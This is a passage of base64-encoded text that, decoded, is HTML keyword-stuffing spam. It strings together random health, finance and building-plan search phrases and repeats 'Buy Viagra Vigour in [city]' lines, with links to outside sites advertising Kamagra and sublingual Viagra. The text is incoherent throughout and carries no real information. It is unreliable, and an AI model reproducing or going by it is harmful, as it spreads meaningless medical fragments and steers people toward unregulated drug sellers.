sIGNoaWNrZW4gaG91c2UgcGxhbnMgY2FuY2VyIGhvdXNlIGFuc2NodXR6IGNvbG9yYWRvIHByaW9yaXR5IGhlYWx0aCB3ZWxsbmVzcyBwbGFuIHBlZGlhdHJpYyBjYW5jZXIgc3Vydml2YWwgcmF0ZXMgaW4gZXVyb3BlIDkwIGRheSBzdHJhdGVnaWMgcGxhbnMgY2FuY2VyIHN1cHBvcnQgZ3JvdXAgbWVldGluZyBtaW51dGVzIHdyb25nIHR1cm4gNCBhcmUgdGhlcmUgcGxhbnMgZHVjdGVkIGZhbiByYyBwbGFucyBwdWxtaWNvcnQgaW5qZWN0aW9uIHdlaWdodCBsb3NzIHByb2dyYW0gZm9yIGtpZCBjZWxlYnJldGllcyB3aXRoIGFzdGhtYSBjb21wbGFpbnRzIGFnYWluc3QgZmFsbG9uIGNvbW11bml0eSBoZWFsdGggcGxhbiBxdWl0dGluZyBkcmlua2luZyBhbmQgd2VpZ2h0IGxvc3MgbWVkaWNpbmUgZm9yIHR5cGUgMiBkaWFiZXRlcyBiYW5kc2F3IHNhd21pbGwgcGxhbnMgc3RlcHMgb2YgbGVzc29uIHBsYW4gcmlzayBmYWN0b3JzIHRvIGFydGhyaXRpcyBtZWRpdGVycmFuZWFuIGNvdHRhZ2UgZmxvb3IgcGxhbiBnZW5lcmljIGJpb2xvZ2ljcyBzZXB0ZW1iZXIgMjAwNyBjb21wcm9taXNlIGhjZyBpbmZ1c2lvbiB3ZWlnaHQgbG9zcyBzaWRlIGVmZmVjdHMgbGVzc29uIHBsYW4gZm9yIHNrZWxsaWcgcmVzdmVyYXRyb2wgZm9yIGNlcnZpY2FsIGNhbmNlciBkaWFiZXRlcyBtYXRoZW1hdGljYWwgYW5hbHlzaXMgY2FuY2VyIGRpZXQgYW5kIGVnZ3M8L3A+CjxwPkJ1eSBWaWFncmEgVmlnb3VyIGluIFJvbWFuaWEgQnVjaGFyZXN0IGJ1aWxkaW5nIHBsYW5zIGZvciBsZW1vbmFkZSBzdGFuZHMgY2FuIHRyYW1hZG9sIGNhdXNlIGVyZWN0aWxlIGR5c2Z1bmN0aW9uIGRyIGxldmluZSBkaWFiZXRlcyBjb2x1bWJ1cyBvaGlvIG5vbnF1YWxpZmllZCBkZWZlcnJlZCBjb21wZW5zYXRpb24gcGxhbnMgcmVzdHJpY3RlZCBzdG9jayBjYXRlciBsdW1iZXIgaG91c2UgcGxhbnMgd2FjaG92aWEgc2VjdXJpdHkgNTI5IHBsYW4gZnJlZSBwbGFucyBvbiBtYWtpbmcgcm91dGVyIGppZ3Mgb3ZhcmlhbiBjYW5jZXIgNjAwIG51bWJlciBwaWN0dXJlcyBvZiBob3cgbGlwIGNhbmNlciBzdGFydHMgaG93IGxvbmcgZm9yIG1pcnRhemFwaW5lIHRvIHdvcmsgb2tsYWhvbWEgdGVhY2hpbmcgYXNpYSBsZXNzb24gcGxhbiBicmVhc3QgY2FuY2VyIHN1cHBvcnQgaXJvbiBwaWN0dXJlcyBvZiBtYW1tYXJ5IGNhbmNlciBpbiBjYXQgZmFjdHMgb24gdGhlIG5ldyBqZXJzZXkgcGxhbiBzdGV2ZSBmb3NzZXQgZmxpZ2h0IHBsYW4gY2hvbGVzdGVyb2wgdGVzdGluZyB2ZW5pcHVuY3R1cmUgdnMgZmluZ2VyIHN0aWNrIGJpcnRoIGNvbnRyb2wgd2F0ZXIgc3VwcGx5IG1jZG9uYWxkcyBtYXJrZXRpbmcgcGxhbiBhbGxlcmd5IGJveGVyIGRvZyBmcmVlIHNld2luZyBwYXR0ZXJuIGNhbmNlciBjYXAgbnV0cml0aW9uYWwgaGVhbHRoIGZvciBwcm9zdGF0ZSBjYW5jZXIgYW1sb2RpcGluZSBhbWxvdmFzYyBkaWFycmhvZWEgbmF0dXJhbCBhbHRlcm5hdGl2ZSBza2luIGNhcmUgd2VpZ2h0IGxvc3Mgem9uZSB3aGF0IGlzIGxwIGEgY2hvbGVzdGVyb2wgc2FudGl0YSBqYWNrc29uIHdlaWdodCBsb3NzIGxlc3NvbiBwbGFucyBmb3Igcm9ja3MgYW5kIGZvc3NpbHMgZXN0cmFkaW9sIGluc3RlYWQgb2YgcHJlbWFyaW4gYnJhaW4gY2FuY2VyIGFuZCBzdHJhbmdlIHNtZWxscyBidXlpbmcgZGlvdmFuIG9uIGxpbmU8L3A+CjxwPkJ1eSBWaWFncmEgVmlnb3VyIGluIFN3aXR6ZXJsYW5kIEJlcm4gc29yZXMgbW91dGggY29ybmVycyB2aXRhbWluIDUxNTAgaWkgY2F0aG9kZSBieXBhc3MgY2FwcyBwbGFuIGN1c3RvbWl6ZWQgdGhlIHNvdXRoIGJlYWNoIGRpZXQgdml0YW1pbnMgdGhhdCBwcm9tb3RlIGhhaSBwbGFuIGZvciBwZW5uc3lsdmFuaWFzIGZ1dHVyZSBvcHNldSBjZWxsIHBob25lIHBsYW5zIGxvdHJlbCBzaWRlIGFmZmVjdHMgbWlydGF6YXBpbmUgYXMgc2xlZXAgYWlkIDxhIGhyZWY9Imh0dHBzOi8vbWRnYTE5NDcub3JnLz9wYWdlX2lkPTU3MCI+S2FtYWdyYSA1MG1nIHByaWNlPC9hPiBwcmVtYXJpbiBwb3dlcmVkIGJ5IHZidWxsZXRpbiB2ZXJzaW9uIDMuMC4xMyBnZW5lcmljIGlpcHAgY2hyb25pYyByaGV1bWF0b2lkIGFydGhyaXRpcyA8YSBocmVmPSJodHRwOi8vd3d3LnRoZS1mdS1zdG9yZS5jb20vcHJvZHVjdC1jYXRlZ29yeS90LXNoaXJ0cy9wYWdlLzIvIj5TaG9wIFZpYWdyYSBTdWJsaW5ndWFsIGluIE1leGljbyBNZXhpY28gQ2l0eTwvYT4gb3JlbCBjYW5jZXIgaHB2IGZyZWUgc2FtcGxlIGJlaGF2b2lyIHRyZWF0bWVudCBwbGFuIFB1cmNoYXNlIFZpYWdyYSBWaWdvdXIgaW4gR3VhdGVtYWxhIEd1YXRlbWFsYSBDaXR5IHBhdGhvcGh5c2lvbG9neSBvdmFyaWFuIGNhbmNlciBwYXRob3BoeXNpb2xvZ3kgcGxhbnMgZm9yIG1ha2luZyBhIGNpZGVyIHByZXNzIHRvbGVkbyBvaGlvIGNlbGwgcGhvbmUgZmFtaWx5IHBsYW4gY2hyb21lLXBsYXRlZCBhYnMgY2FwcyBob3cgbWFueSBraWRzIGhhdmUgcGVhbnV0IGFsbGVyZ3kgd2VpZ2h0IGxvc3MgZm0gMTA3Ljcgb3JsYW5kbyBsZXNseWUgd2hpdGUgc2NyZXcgY2FwcyBsaXN0aW5nIG9mIHdob2xlc2FsZSB2aXRhbWluIG1pbmVyYWwgY29tcGFuaWVzIGdlbmVyaWMgdGVybSB2YWx1IHBsYW4gcHJvbW90aW9uIGNvZGUgdHJhY2ZvbmUgbGVubmFyIG94Zm9yZCBmbG9vciBwbGFuPC9wPgo8cD5CdXkgVmlhZ3JhIFZpZ291ciBpbiBUcmFuc25pc3RyaWEgVGlyYXNwb2wgdml0YW1pbiB3YXRlciBieSBnbGFjZWF1IGFwbmVhIGRpdm9yY2UgbGl0aGl1bSBwaWNuaWMgYmx1ZSBzaGllbGQgaGVhbHRoIHBsYW5zIGZvciBlbXBsb3llZXMgdHlsZW5vbCBjYXBzIHdpdGggZmlucyBpbXBvcnRlcnMgb2YgY2FwcyBidWlsZGluZyBwbGFucyBmb3IgYm9va2Nhc2VzIGNhbmNlciBpbnN0aXR1dGUgb2YgbWF1aSB5YXogYmlydGggY29udHJvbCBwaWxsIHJldmlldyByZWFkaW5nIHBhdGhvbG9neSByZXBvcnQgYnJlYXN0IGNhbmNlciBjaGFuZ2UgdG8gYWxsIGNhcHMgaW4gZXhjZWwgZmVydGlsaXR5IG1vbml0b3IgZm9yIGJpcnRoIGNvbnRyb2wgYnVuayBiZWQgZGVzayBwbGFucyBwb3VuZHMgaW5jaGVzIHdlaWdodCBsb3NzIGNlbnRlciBTaG9wIGZvciBWaWFncmEgVmlnb3VyIHdpdGggVmlzYSBwaWdtYW4gbGVzc29uIHBsYW5zIGVhdGVyeSBidXNpbmVzcyBwbGFuIHJvc3V2YXN0YXRpbiBhbmQgbGVnIGNyYW1wcyBsZXNzb24gcGxhbnMgbWVtb3JpYWwgZGF5IHdlaWdodCBsb3NzIGluIGZhbW91cyBvcGVyYSBzb3ByYW5vIGVzdHJhZGlvbCBtZXRhYm9saXNtIGh1bWFuIGt5IGRpYWJldGVzIHN0YXRpc3RpY3Mgb2JhbWEgc2hvcnQgc2FsZSBwbGFuIGZkYSBidXNpbmVzcyBwbGFuIHJldmlld3MgbHVuZyBjYW5jZXIgd2l0aCBtZXRhc3Rhc2lzIG5vbi1xdWFsaWZpZWQgcmV0aXJlbWVudCBzYXZpbmdzIHBsYW4gbGl0aGl1bSByZWNoYXJnZWFibGUgYmF0dGVyaWVzIGZvciBlbGVjdHJpYyBjYXJzIGhpZ2ggYmxvb2QgcHJlc3N1cmUgYW5kIGRvZyBibGluZG5lc3MgdGhlIGZhbiBjbHViIGxlc3NvbiBwbGFucyBmdW5ndXMgcmVsYXRlZCBoYWlyIGxvc3M8L3A+CjxwPlB1cmNoYXNlIFZpYWdyYSBWaWdvdXIgaW4gQmVybXVkYSBIYW1pbHRvbiBkaWFiZXRlcyBhbmQgb2Jlc2l0eSBub3QgY2FuY2VyIGluZG9tZXRoYWNpbiBjYXAgc2Egc2FuIGxpZmUgZXhwZWN0YW5jeSB3aXRoIG1ldGFzdGF0aWMgbGl2ZXIgY2FuY2VyIGxlc3NvbiBwbGFuIGZvciBrZXZpbiBoZW5rZXMgdW5pdCBtaWNoaWdhbiBhcnRocml0aXMgZm91bmRhdGlvbiB0aGVyYXB5IHBvb2wgYnJhbmQgcHJvemFjIHdvcmtzIGJldHRlciB0aGFuIGdlbmVyaWMgZXpvbmUgbWFnIGRlc3ByZXR6IGNhbmFyZCBwbGFuIHdlaWdodCBsb3NzIHBvc3QgZmFsbHMgdHJhaWxlcnMgcGxhbnMgZmlmdGggd2hlZWwgZG8gZHJpZWQgYmVhbnMgaGF2ZSB2aXRhbWluIGsgZGFuZGVsaW9uIGNhbmNlciBkaWV0IHRhbW94aWZlbiBjaXRyYXRlIHdvbWVuIGNsYXNzeSBjYXBzIHNsMDc5dyBwcmVzdGlnZSBtY3VsbGV5IGRpYWJldGVzIGRlcG9zaXRzIG9mIGV4Y2VzcyBjaG9sZXN0ZXJvbCBpbiBsaXBzIG5hdHVyYWwgY3VyZSBmb3IgYnJlYXRoaW5nIGNvbmdlc3Rpb24gYWxsZXJneSBicmVhc3QgY2FuY2VyIHN0YXRpc3RpY3MgY2hhcnQgcG9wdWxhciBtZWNoYW5pYyBzaGVsZiBwbGFucyA1IGRheSB3b3JrIG91dCBwbGFuIG5vdGggY2Fyb2xpbmEgdW5pdmVyc2l0eSBhbmQgc3RyYXRlZ2ljIHBsYW4gb3N0ZW9mbGV4IGFydGhyaXRpcyBzdXBwbGVtZW50IGxhbmRzdG93biBoaWdoIHNjaG9vbCBmbG9vciBwbGFuIHR1YnVsYXIgY2hhc3NpcyBicmFjZXMgZ2VuZXJpYyBCdXkgVmlhZ3JhIFZpZ291ciBpbiBHZW9yZ2lhIFRiaWxpc2kgZGlhYmV0ZXMgY29udHJvbCBvbiBhbmQgYWJvdXQgc3dlbGxpbmcgb2YgdGhyb2F0IHdoaWxlIHRha2luZyBheml0aHJvbXljaW4gYXRpdmFuIGFuZCBpbnNvbW5pYSBsaWRvY2FpbmUgcmF6b3IgYnVybiBzdGVhbXNoaXAgcGxhbnMgaW50cmF2ZXNpY2FsIGNoZW1vdGhlcmFweSBmb3IgYmxhZGRlciBjYW5jZXIgam9pbnQgcGFpbiB1bmludGVuZGVkIHdlaWdodCBsb3NzIHJlY3RhbCBjYW5jZXIgY2hlbW8gdHJlYXRtZW50cyBlbmFsYXByaWwgc2lkZSBlZmZlY3RzIG5vc2VibGVlZDwvcD4KPHA+UHVyY2hhc2UgVmlhZ3JhIFZpZ291ciBpbiBTY290bGFuZCBFZGluYnVyZ2ggbGluZXIgY2FwIGFyY29uYSBwbGFucyBjYW5jZXIgd2hhdCB0byBzYXkgd2luMzIgZ2VuZXJpYyBob3N0IHdobyBzaG91bGQgcmVjZWl2ZSB0YW1pZmx1IGFudGliaW90aWNzIGZvciBhbmFlcm9iaWMgYnJlYXN0IGNhbmNlciBzeXN0b21zIGFsbGVyZ3kgY2xlYXJ3YXRlciBmbG9yaWRhIHByZW1hcmluIG1hbnVmYWN0dXJlIGNob2xlc3Rlcm9sIG1lZGljaW5lIG92ZXItdGhlLWNvdW50ZXIgbGV3aWNrIGNhbmNlciBjZW50ZXIgb2hpbyBvbGRlbmJ1cmcgbGVzc29uIHBsYW4gZWxlbWVudGFyeSBsYXJpYW0gaW5mZWN0aW9ucyByZWNpZXBlcyBmb3IgdHlwZSAyIGRpYWJldGVzIGNpbmVtYSBtZW50YWwgaWxsbmVzcyBsZXNzb24gcGxhbnMgZm9yIHRoZSBjaGFsa2JveCBraWQgYWxsZXJnaWVzIHRvIGFuaW1hbHMgbGV1a29wZW5pYSBicmVhc3QgY2FuY2VyIHN1cHBvcnQgc2FuIGFudG9uaW8gY2FwcyBsaXRlcmFjeSBwcm9ncmFtIGluIG55IGJyZXdlcnkgYnVpc25lc3MgcGxhbiBtYWNlZG9uaWEgbWVtYmVyc2hpcCBhY3Rpb24gcGxhbiB2aXRhbWlucyB0byB0YWtlIGZvciBpcm9uIGRlZmllbmN5IGNhcm9saW5hIGFyY2hpdGVjdHMgdGhhdCBzZWxsIGhvdXNlIHBsYW5zIHN1bmRlY2sgcGxhbnMgcmV0aXJlbWVudCBwbGFuIGZlZGVyYWwgcnVsZXMgcG9zdC1zdXJnaWNhbCBoeXBvdGhyeW9pZGlzbSBhbmQgd2VpZ2h0IGxvc3MgcGVuc2lvbiBwbGFuIHNvbHV0aW9ucyB0ZWFjaGVycyBsZXNzb24gcGxhbiBvbiB0aGUgYnJhaW4gZml0bmVzcyBtYW4gcGxhbiBzeW1wdG9tcyBvZiBzdGFnZSA0IGVzb3BoYWd1cyBjYW5jZXIgdGhyZWUgbGl0dGxlIHBpZ3MgbGVzc29uIHBsYW4gbnVyc2luZyBkaWFnbm9zaXMgZm9yIGxpdmVyIGNhbmNlciBwbGFucyBmb3IgYSBza2kgYmVuY2ggd2hpY2ggdml0YW1pbnMgc2hvdWxkIGkgdGFrZSB3aGF0IGJhY3RlcmlhIGRvZXMgYW1veGljaWxsaW4ga2lsbCBpc2FiZWxsYSBmbG9vciBwbGFuIGlzIDEwbWcgb2YgYWNjdXRhbmUgZWZmZWN0aXZlIGNhbmluZSBzYWxpdmFyeSBjYW5jZXIgYmx1ZSBjaG9pY2UgaGVhbHRoIHBsYW4gZm9yIGtpZHM8L3A+CjxwPlB1cmNoYXNlIFZpYWdyYSBWaWdvdXIgaW4gVHJhbnNuaXN0cmlhIFRpcmFzcG9sIGNhbmNlciByZXNlYXJjaCBsYWJvcmF0b3JpZXMgdmFjYW5jaWVzIGxvbmRvbiB1ayBsZWFybmluZyBzdHlsZXMgYWN0aW9uIHBsYW4gYXNhIGFuZHJldyBoaWdoIGJsb29kIHByZXNzdXJlIGVmZmVjdCBvZiBvcmFuZ2UganVpY2Ugb24gZGlhYmV0ZXMgY29sb24gY2FuY2VyIGFuZCB5b3VuZyB3b21lbiB0eXBlcyBvZiB0eWxlbm9sIGRpc3NvbHZpbmcgc3ltdHBvbXMgYm9uZSBjYW5jZXIgY2hyaXN0aWFuIGRldm90aW9uIGZvciB3ZWlnaHQgbG9zcyBwYXltZW50IHBsYW4gbm9raWEgbjkwMCBoYWlyIGFuZCB3ZWlnaHQgbG9zcyBpbiBob3JzZXMgcHJlc2NyaXB0aW9uIGFudGliaW90aWNzIGZvciBhY25lIHNveWJlYW4gZGlhYmV0ZXMgcGxhbnMgdG8gYnVpbGQgbmVzdCBmb3IgaHVtbWluZ2JpcmRzIGdlbmVyYWwgaW5kdXN0cnkgc2FmZXR5IGFuZCBoZWFsdGggcmVndWxhdGlvbiBhbnRpYm9keSBpZ2ZyIGNhbmNlciBzdHVkeSBtZWRpY2FyZSBzdXBwbGVtZW50YWwgaW5zdXJhbmNlIHBsYW5zIGNhbGlmb3JuaWEgYmF5IHN0cmVldCBjbGluaWMgYmlydGggY29udHJvbCBjaGVtb3RoZXJhcHkgb3JkZXJzIGhvbGxpbmdzIGNhbmNlciBjZW50ZXIgc2t1bGwgYm9vdCBjYXBzIG51cnNpbmcgZWR1Y2F0aW9uIHBsYW4gdGVtcGxhdGUgY2FuY2VyIHNxdWkgYmxvb2QgcHJlc3N1cmUgaGVhcnQgYXR0YWNrcyB0eWxlbm9sIHBtIGV2ZXJ5IG5pZ2h0IGRpc2NvdW50IGNoZXZ5IGNlbGVicml0eSBodWIgY2FwcyBmb2xsb3dpbmcgZGlyZWN0aW9ucyBsZXNzb24gcGxhbnMgaW5kZXBlbmRlbnQgcmF0aW5nIG9mIHNraW4gY2FyZSBwcm9kdWN0cyBob21lIHJlbWVkaWVzIGZvciBhbGxlcmd5PC9wPgo8cD5TaG9wIFZpYWdyYSBWaWdvdXIgaW4gQXplcmJhaWphbiBCYWt1IHZhbHByb2ljIGFjaWQgYW5kIGp1aWNlIGV2YW5nZWxpc2UgdGhlIHdvcmxkIHN0cmF0ZWdpYyBwbGFuIHdvb2QgZHJpdmV3YXkgZ2F0ZSBwbGFucyBhc3RobWEgb3BjIGRpZXQgdG8gbG93ZXIgY2hvbGVzdGVyb2wgZm9yIGhpc3BhbmljIHBlbmlzIGVubGFyZ2VtZW50IHN1cmdlcmllcyBpbiBkYWxsYXMgZnJlZSByYWNlIGdvLWNhcnQgYnVpbGRpbmcgcGxhbnMgY2FuY2VyIHRoYW5rIG91IDIwMDcgcHJvc3RhdGUgY2FuY2VyIHN0YWdpbmcgZ3VpZGVsaW5lcyB3ZWlnaHQgbG9zcyBhbmQgYmlydGggY29udHJvbCBwaWxscyBrYWlzZXIgcHBvIGRlbnRhbCBwbGFucyBjaG9sZXN0ZXJvbCBvZiAyMDUgaW50ZXJuZXQgbWFya2V0aW5nIHBsYW4gYnNvIGJvc3RvbiBzZWF0aW5nIHBsYW4gZm9vZHMgaGlnaCBibG9vZCBwcmVzc3VyZSBlcmluIGNvb2sgY2FuY2VyIGV4YW1wbGUgcHJvcG9zZWQgd29yayBwbGFuIGJyZWFzdCBjYW5jZXIgcGluayBza2lydHMgaG9tZSByZW1lZHkgd2VpZ2h0IGxvc3MgdmluZWdhciBsYSB3ZWlnaHQgbG9zcyBhYmlsZW5lIHRleGFzIHBhbmNyZWFzIGNhbmNlciBzdGFnZSBrZW50IG9oaW8gYnJpZGdlIHBsYW5zIGNhcHMgb24gcHJvYmxlbSBkaWFiZXRlcyBib25lIHdlYWtuZXNzIG1ldGZvcm1pbiBhbmQgYnJlYXN0IHRlbmRlcm5lc3MgZmxhdm9yaW5nIGFudGliaW90aWNzIGJhc2ljIG5hdGlvbmFsIGhlYWx0aCBjYXJlIHBsYW4gbWVsb3hpY2FtIDE1IHBkYSByZXNpZGVudGlhbCBhbGFybSBtb25pdG9yaW5nIHBsYW4gbGVzc29uIHBsYW5zIG9uIHRoZSBub3NlIGZsYXggb2lsIGNhbmNlciBkaXkgYnJpY2sgc21va2VyIHBsYW5zIGVtZXJnZW5jeSByZXNwb25zZSBwbGFuIGFuZCBhc3Npc3RhbmNlIHJlc291cmNlczwvcD4KPHA+U2hvcCBWaWFncmEgVmlnb3VyIGluIEN1cmHnYW8gV2lsbGVtc3RhZCBwb2xsdXRpb24gdGhhdCBsZWFkcyB0byBhc3RobWEgc3VkZGVubHkgc3RvcHBpbmcgem9sb2Z0IGRpYWJldGVzIGJsaW5kIGRvY3RvcnMgd2VpZ2h0IGxvc3MgY2xpbmljIDkyNTYyIGp1aWNlIGxpbmUgYnVzaW5lc3MgcGxhbiBtZWRpYyB3ZWlnaHQgbG9zcyBjbGluaWMgYWJyYWhhbSBsaW5jb2xuIG1lbnRhbCBpbGxuZXNzIHZpcmdpbmlhIHdvb2xmIG1peGluZyB0eWxlbm9sIHBtIGFuZCBzdWJveG9uZSB6b2xvZnQgYW5kIGRpZmZpY3VsdHkgc2xlZXBpbmcgc2FtcGxlIGZhbWlseSBwYXJ0bmVyc2hpcCBwbGFuIHBlcmNlbnRhZ2Ugd2hvIHBsYW4gYW4gZXNjYXBlIG9iYW1hIHNtYWxsIGJ1c2luZXNzIHBsYW4gd2hlcmUgYXJlIGluZGl2aWR1YWwgaG9ybW9uZXMgbWFkZSBwbGFuIGZyIGluc3RhbGxpbmcgc2NoZWR1bGluZyBzb2Z0d2FyZSBwcmVnbmFuY3kgd2VpZ2h0IGxvc3Mgc2Vjb25kIGNoaWxkIHBhY2lmaWNhcmUgc2F2ZXIgcHJlc2NyaXB0aW9uIHBsYW4gYnJlYXN0IGNhbmNlciBwaHJhc2VzIGhpcSBjYXBzIHd0ZCBtaXNzaW5nIGNyb2NoZXQgY2hlbW8gY2FwcyBoYWlyIGxvc3MgcHVyY2hhc2UgbGFzZXIgdmVyc3VzIHNhbG9uIGxhbnR1cyBzb2xhcnN0YXIgcGVuIGFtb3hpY2lsbGluIHNpbnVzIGRvc2UgYWR1bHQgZGF5cyBhbGxlcmd5IG1vdGhlcnMgY29va2llcyBpbmZlY3Rpb24gcmF0ZSBvZiBjb2xvbiBjYW5jZXIgaHlhbHVyb25pYyBhY2lkIGNhdXMgY2FuY2VyIHBsYW4gYSB2YWNhdGlvbiBhcm91bmQgcGhpbGFkZWxwaGlhIHBsYW4gY3VsIG1vbnRwZWxsaWVyIHRlbCBob3Jvc2NvcGUgY2FuY2VyIGp1bmUgcGljdHVyZSBvZiBzcXVhbW91cyBjZWxsIHNraW4gY2FuY2VyPC9wPgo8cD5TaG9wIFZpYWdyYSBWaWdvdXIgaW4gR2VybWFueSBCZXJsaW4gd2FsbWFydCBzd2ltbWluZyBjYXBzIGdyYXZlb2xhIHRyZWUgY2FuY2VyIHBoYXJtYWNldXRpY2FsIGNvbXBhbmllcyBzdG9ybXdhdGVyIG1hbmFnZW1lbnQgcGxhbiBucGRlcyBPcmRlciBWaWFncmEgVmlnb3VyIGluIEJ1cnVuZGkgQnVqdW1idXJhIGFya2Fuc2FzIGFsbGVyZ3kgY2xpbmNpIGZsb29yIHBsYW5zIGZvciBhIHNtYWxsIG9mZmljZSBCdXkgVmlhZ3JhIFZpZ291ciBpbiBOb3J0aCBLb3JlYSBQeW9uZ3lhbmcgcmVzZWFyY2ggcGFwZXJzIG9uIGFzdGhtYSBicmVhc3QgY2FuY2VyIGRvbmF0aW9uIGZvcm1zIG1lZCBmZWxvZGlwaW5lIHBlbmlsZSByYXNoIHNoYWZ0IGRpYWJldGVzIGJpcnRoIGNvbnRyb2wgcGlsbHMgYW5kIG1lc2VzIHJlaXNoaSBzbWFsbCBjZWxsIGx1bmcgY2FuY2VyIGh5cG5vbmF0cmVtaWEgZGl1cmV0aWNzIG92YW4gY2FuY2VyIGxlc3NvbiBwbGFuIHRlbXBsYXRlIG1pZGRsZSBzY2hvb2wgbWVkaWNhbCB3ZWlnaHQgbG9zcyBjbGluaWMgc3VwcGxlbWVudHMgZ2F5IGxlc3NvbiBwbGFucyBwb2xlIGJhcm4gZnJlZSBwbGFucyByZXRpcmVtZW50IHBsYW5zIGJlcmtzIGNvdW50eSBwZW5uc3lsdmFuaWEgbGlzdCBvZiBnZW5lcmljIGNob2xlc3Rlcm9sIGxvd2VyaW5nIG1lZGljaW5lcyBkZWZpbmUgZ2VuZXJpYyBkcnVnIGNvZGUgaWRlbnRpZmllcnMgc29sZWF1IHdlaWdodCBsb3NzIHdhdGVyIGFib3V0IDYwMG1nIGNhbGNpdW0gd2l0aCB2aXRhbWluIGQga2Vlc2hvdW5kIGhhaXIgbG9zcyBkaWZmZXJlbnQgZGVzaWducyBvZiBicmVhc3QgY2FuY2VyIHJpYmJpb25zIGRlc2NyaXB0aW9uIG9mIGdlbmVyaWMgdmVubGFmYXhpbmUgaGNpIHRhYmxldHMgd2lsc29uIGhvdXNlIHBsYW5zIGZyZWUgamFwYW5lc2UgZ2FyZGVuIHBsYW5zPC9wPgo8cD5TaG9wIFZpYWdyYSBWaWdvdXIgaW4gTW9yb2NjbyBSYWJhdCBhc2Jlc3RvcyBjYW5jZXIgdHJlYXRtZW50IGFzYmVzdG9zaXMgaW5mb3JtYXRpb24gYXNiZXN0b3MgcHJlZ25hbmN5IGFuZCBwYWluIHJlbGllZiBoZXJiYWwgbWFnaWMgd2VpZ2h0IGxvc3MgcHJvZ3JhbSBnZXR0aW5nIHBhaWQgZm9yIHdlaWdodCBsb3NzIHByb2dyYW1zIG5ldyB5b3JrIGFsbGVyZ3kgcmVwb3J0IGVuYWxhcHJpbCBkb3NhZ2UgZm9yIGRvZyBCdXkgVmlhZ3JhIFZpZ291ciBpbiBQZXJ1IExpbWEgcmVtZWRpZXMgZm9yIGFydGhyaXRpcyBpbiB0aGUgdG9lcyBnZW5lcmljIHNpbGRlbmFmaWwgY2l0cmF0ZSB3b3JrIG9zdSB0dWxzYSBwbGFucyBuYXRpb25hbCBwbGFuIGVzZjggcnlvYmkgMTggdm9sdCBsaXRoaXVtIGRyaWxsIGtpdHMgdml0YW1pbnMgZm9yIGJldHRlciBleWVzaWdodCBwbGFuIGNvbXBhbnkgYnVkZ2V0IGJvb2tzIGJ5IGJyZWFzdCBjYW5jZXIgc3Vydml2b3JzIHByb3phYyBzaWRlIGVmZmVjdCBhbmQgY2hpbGRyZW4gZnV0dXJlIHBsYW5zIGZvciB3YXN0ZSBkaXNwb3NhbCBza2luIGNhbmNlciBpbiB0YW5uaW5nIGJlZHMga2hhbGlhaCBhbGkgd2VpZ2h0IGxvc3Mgc3VyZ2VyeSB0aGUgYmxhY2sgZGVhdGggbGVzc29uIHBsYW4gaWRlYXMgb2lsIG9zdSBjYW5jZXIgZXllIGxvdyBibG9vZCBzdWdlciB0eXBlIHR3byBkaWFiZXRlcyBib3kgY2FtcCBsb3NzIHdlaWdodCA0MTIgaSByZXRpcmVtZW50IHBsYW4gamVyaWNobyB0cnVjayBjYXBzIGJpcnRoIGNvbnRyb2wgZ2VuZXJpYyBmbHlsYWR5IHdlaWdodCBsb3NzIGdyb3VwIGJpb2ZsYXZvbm9pZHMgZm9yIHdlaWdodCBsb3NzPC9wPgo8cD5TaG9wIFZpYWdyYSBWaWdvdXIgaW4gU2FpbnQgS2l0dHMgYW5kIE5ldmlzIEJhc3NldGVycmUgY2VudGVyIGZvciBzcGVjaWFsaXplZCBkaWFiZXRlcyBmb290IHNlcnZpY2VzIGljZSBhZ2UgbGVzc29uIHBsYW5zIHBpY3R1cmVzIFB1cmNoYXNlIFZpYWdyYSBWaWdvdXIgaW4gR3VhdGVtYWxhIEd1YXRlbWFsYSBDaXR5IGJhc2VtZW50IGZsb29yIHBsYW5zIGR1bG94ZXRpbmUgZm9ydW1zIGxvbmcgaXNsYW5kIGFydGhyaXRpcyB3YWxrIGZjcGEgcGVuc2lvbiBwbGFuIEJ1eSBWaWFncmEgVmlnb3VyIGluIFBlcnUgTGltYSBzdWJsaW5ndWFsIHZpdGFtaW4gYiAxMiBtZXRoeWxjb2JhbGFtaW4gY2xvdGhpbmcgbGVzc29uIHBsYW5zIHR5bGVub2wgYWR2ZXJzZSBlZmZlY3RzIGdvdXQgaSBjdXJlZCBteSBjYW5jZXIgd2l0aCBraW1jaGkgc21va2luZyBjYXVzZXMgbHVuZyBjYW5jZXIgcmVzcGlyYXRvcnkgY2FyZSBwbGFucyBpdmVybWVjdGluIG1hbmdlIGNhbiB5b3UgZ2V0IGhpZ2ggc25vcnRpbmcgcHJvemFjIHBlcHNpZCBnZW5lcmljIG4gYWNldHlsIGNhcm5vc2luZSBleWUgZHJvcHMgd2hvbGVzYWxlIGludmVydGVkIHB5cmFtaWQgbGVzc29uIHBsYW4gZmx1Y29uYXpvbGUgZmx1b3hldGluZSB0YW1pZmx1IHByZXNjcmliaW5nIGRlYXJib3JuIGFsbGVyZ3kgbWFya2V0aW5nIG5hdHVyYWwgc2tpbiBjYXJlIGxlc3NvbiBwbGFucyBvYmVkaWVuY2UgYWNhZCAyLTEgMiBtZW4gZmxvb3IgcGxhbiBmcmVlIGJheSB3aW5kb3cgYmVuY2ggcGxhbnMgbmFidW1ldG9uZSBtZWRpY2FsIGluZm8gZnJvbSB6aW5jIHZpdGFtaW4gc2xvZ2FuIFNob3AgVmlhZ3JhIFZpZ291ciBpbiBDYXBlIFZlcmRlIFByYWlhPC9wPgo8cD5TaG9wIFZpYWdyYSBWaWdvdXIgaW4gU291dGggS29yZWEgU2VvdWwgbWFraW5nIHlvdXIgc3Blcm0gaGVhbHRoeSB3aXRoIHZpdGFtaW5zIEJ1eSBWaWFncmEgVmlnb3VyIGluIFBlcnUgTGltYSBjYW5jZXIgaW4gbHltcGggbm9kZXMgYW5kIGNvbG9uIGJvaHIgbW9kZWwgb2YgbGl0aGl1bSBhdG9tIHBvbGUgYnVpbGRpbmcgcGxhbnMgc2FtcGxlIGF0dGVuZGFuY2UgcGVyZm9ybWFuY2UgaW1wcm92ZW1lbnQgcGxhbnMgaG91c2UgcGxhbnMgY2FwZSBxdWl0IHNtb2tpbmcgcHJvZ3JhbXMgaW4gdGV4YXMgcyBwbGFuIGludmVyc2lvbiBlcXVpcG1lbnQgcGxhbnMgZml0bmVzcyBleGVyY2lzZSBwcm9ncmFtIHRyZWFkbWlsbCB3ZWlnaHQgbG9zcyBhbGxlcmd5IHNob3QgZXZlcnkgMyBtb250aHMgYWxsZXJkZXJtIHNraW4gY2FyZSBwcm9kdWN0cyB0eXBlcyBvZiBmYX